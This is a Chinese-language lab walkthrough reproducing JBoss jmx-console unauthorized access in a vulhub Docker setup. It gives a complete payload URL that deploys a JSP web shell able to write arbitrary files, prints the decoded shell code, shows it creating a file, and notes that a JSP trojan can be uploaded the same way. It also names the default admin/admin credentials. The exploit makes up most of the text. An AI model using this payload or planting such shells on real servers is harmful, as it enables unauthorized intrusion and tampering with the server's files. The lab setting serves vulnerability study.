1、jmx-console未授权访问
漏洞原因
JBoss默认访问jmx-console页面不需要输入密码,可以进入配置war包进行危险操作。或默认用户名密码为admin/admin。
漏洞复现
这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/CVE-2017-12149目录,执行命令docker-compose up -d开启环境。
访问http://your-ip:8080/。(这里我的IP是172.17.0.1)
构造payload部署war包。
http://172.17.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=shell.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
这里arg0代表war包的名称、arg1=文件名称 、arg2=文件后缀名、arg3=文件内容。
arg3解码后的内容:<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>(f表示文件名,t表示文件内容)
访问构造的url出现如下页面:
回到jmx-console页面,查看jboss.web.deployment下存在自己部署的war包。
再构造一个url创建html文件,http://172.17.0.1:8080/shell/shell.jsp?f=1.html&t=successful。
访问这个html文件http://172.17.0.1:8080/shell/1.html。显示如下页面则创建成功:
还可以上传jsp一句话木马文件,利用工具去连接,这里就不演示了。